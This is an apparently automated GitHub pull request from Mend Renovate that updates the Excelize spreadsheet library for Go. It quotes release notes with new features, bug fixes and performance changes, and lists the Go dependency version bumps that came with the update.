  • The CalcCellValue function support BAHTTEXT formula function
  • Skip fallback to default font size when create style if font size less than minimum size
  • Support parse number format code with Hijri and Gregorian calendar
  • Support set transparency for chart and shape, related issue #​2176
  • Support apply number format with the new 8 language: Corsican, Croatian, Croatian (Latin), Czech, Danish, Divehi, Dutch, Dzongkha language
Improve the Compatibility
  • Remove all leading equal symbol when set cell formula, for improve compatibility with Apple Numbers, related issue #​2145
  • Using relative sheet target path in the internal workbook relationship parts
Bug Fixes
  • Fix a v2.9.1 regression bug, build failed on ARMv7 architectures, resolve issue #​2132
  • Fix number format parser dropped empty literals in the end of the number format
  • Fix panic on get string item with invalid offset range, resolve issues #​2019 and #​2150
  • Fix panic on read unsupported pivot table cache sorce types, resolve issue #​2161
  • Fix incorrect characters verification, count characters as single runes in characters length limitation checking, resolve issue #​2167
  • Fix add pivot table caused workbook corrupted on Excel for Mac, resolve issue #​2180
  • Fix incorrect month name abbreviations when read cell with the Tibetan language number format code
  • Fix special date number format result not consistent with Excel, resolve issue #​2192
Performance
  • Optimize the GetSheetDimension function by parse worksheet XML in stream mode, speedup about 95%, memory usage reduce about 96%
Miscellaneous
  • The dependencies module has been updated
  • Unit tests and godoc updated
  • Documentation website with multilingual: Arabic, German, English, Spanish, French, Italian, Japanese, Korean, Portuguese, Russian, Chinese Simplified and Chinese Traditional, which has been updated.
  • excelize-wasm NPM package release update for WebAssembly / JavaScript support
  • excelize PyPI package release update for Python
  • ExcelizeCs NuGet .Net package release for C#
  • Add a new logo for Excelize
Thank you

Thanks for all the contributors to Excelize. Below is a list of contributors that have code contributions in this version:

v2.9.1

Compare Source

We are pleased to announce the release of version 2.9.1. Featured are a handful of new areas of functionality and numerous bug fixes.

A summary of changes is available in the Release Notes. A full list of changes is available in the changelog.

Release Notes

The most notable changes in this release are:

Breaking Change
  • Upgrade requirements Go language version is 1.23 or later, for upgrade of dependency package golang.org/x/crypto
  • Change the data type of DataValidationType, DataValidationErrorStyle, DataValidationOperator, PictureInsertType from int to byte
  • SetCellInt function required int64 data type parameter, resolve issue #​2068
  • When adding drawing objects such as pictures, charts, shapes, and form controls, the offset setting will no longer affect the size of the drawing object, related issue #​2001
Notable Features
  • Add new fields GapWidth and Overlap in the Chart data type
  • Add new fields ShowDataTable and ShowDataTableKeys fields in the ChartPlotArea data type
  • Add new field Alignment in the ChartAxis data type
  • Add new field DataLabel in the ChartSeries data type
  • Add new field PageOrder for PageLayoutOptions data type
  • Add 2 new exported error variables: ErrPageSetupAdjustTo and ErrStreamSetColStyle
  • Add 2 new exported enumerations: HeaderFooterImagePositionType and IgnoredErrorsType
  • Add 2 new exported data types: CalcPropsOptions and HeaderFooterImageOptions
  • Add 2 new functions: SetCalcProps and GetCalcProps support setting and getting workbook calculation properties
  • Add new CultureNameJaJP, CultureNameKoKR and CultureNameZhTW enumeration values, support apply number format for the Japanese calendar years, the Korean Danki calendar and the Republic of China year, related issue #​1885
  • Add new function AddHeaderFooterImage to support set graphics in a header and footer, related issue #​1395
  • Add new function AddIgnoredErrors support to ignored error for a range of cells, related issue #​2046
  • Add new function SetColStyle for streaming writer to support set columns style, related issue #​2075
  • The AddChart and AddChartSheet function support set chart axis text direction and rotation, related issue #​2025
  • The AddChart and AddChartSheet function support set gap width and overlap for column and bar chart, related issue #​2033
  • The AddChart and AddChartSheet function support set the format of the chart series data label, related issue #​2052
  • The AddChart and AddChartSheet function support set data table for chart, related issue #​2117
  • The AddFormControl function support set cell link for check box, related issue #​2113
  • The SetPageLayout function support set page order of page layout
  • The DeletePicture function support delete one cell anchor image, related issue #​2059
  • An error will be return if the option value of the SetPageLayout function is invalid
  • Support adjust data validations cross multiple worksheets, related issue #​2072
  • Support apply number format with hash and zero place holder, related issue #​2058
  • Support apply number format with ? symbol
  • Support to insert one cell anchor drawing object when specified the positioning as "oneCell", related issue #​2002
Bug Fixes
  • Fix a v2.9.0 regression bug, corrupted workbook generated by open the workbook generated by stream writer, resolve issue #​2015
  • Fix redundant none type pattern fill generated, resolve issue #​2014
  • Fix missing vertical and horizontal border styles in some case, resolve issue #​2048
  • Fix conditional format's border styles missing in some case, resolve issue #​2061
  • Fix get pivot tables panic in some case, resolve issues #​1954 and #​2051
  • Fix GetStyle function can not get VertAlign format
  • Fix CalcCellValue function subexpressions aren't correctly calculated in some case, resolve issue #​2083
  • Fix delete wrong images in some case which caused by image reference detection issue
  • Fix cell default style doesn't override by none-zero row style when set row by stream writer
  • Fix redundant cols element generated by stream writer
  • Fix panic on set chart title font, resolve issue #​2102
  • Fix panic on delete calc chain in some case
  • Fix incorrect formula calculation result caused by shared formula parse error, resolve issue #​2056
  • Fix corrupted workbook generated when an inner ZIP64 file size exceeds 4GB
  • Fix sheet name error in defined name after rename sheet, resolve issue #​2126
Performance
  • Use a 3 times faster deepcopy library github.com/tiendc/go-deepcopy instead of github.com/mohae/deepcopy, related issue #​2029
  • Fix performance regression in v2.9.0, reduce trim cell value memory allocation for blank cells
  • Improve performance for calculate formula when formula contains whole column and row reference
  • Rows iterator speedup about 20%, memory allocation reduce about 10%
Miscellaneous
  • The dependencies module has been updated
  • Unit tests and godoc updated
  • Documentation website with multilingual: Arabic, German, English, Spanish, French, Italian, Japanese, Korean, Portuguese, Russian, Chinese Simplified and Chinese Traditional, which has been updated.
  • excelize-wasm NPM package release update for WebAssembly / JavaScript support
  • excelize PyPI package release update for Python
Thank you

Thanks for all the contributors to Excelize. Below is a list of contributors that have code contributions in this version:

Note

PR body was truncated to here.


Configuration

📅 Schedule: (in timezone Asia/Tokyo)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented Jul 11, 2026

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 12 additional dependencies were updated
  • The go directive was updated for compatibility reasons

Details:

Package Change
go 1.24.2 -> 1.25.0
github.com/stretchr/testify v1.10.0 -> v1.11.1
github.com/richardlehane/mscfb v1.0.4 -> v1.0.7
github.com/richardlehane/msoleps v1.0.4 -> v1.0.6
github.com/xuri/efp v0.0.0-20241211021726-c4e992084aa6 -> v0.0.1
github.com/xuri/nfp v0.0.0-20240318013403-ab9948c2c4a7 -> v0.0.2-0.20250530014748-2ddeb826f9a9
golang.org/x/crypto v0.36.0 -> v0.53.0
golang.org/x/mod v0.24.0 -> v0.36.0
golang.org/x/net v0.37.0 -> v0.56.0
golang.org/x/sync v0.13.0 -> v0.21.0
golang.org/x/sys v0.31.0 -> v0.46.0
golang.org/x/text v0.23.0 -> v0.38.0
golang.org/x/tools v0.31.0 -> v0.45.0

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants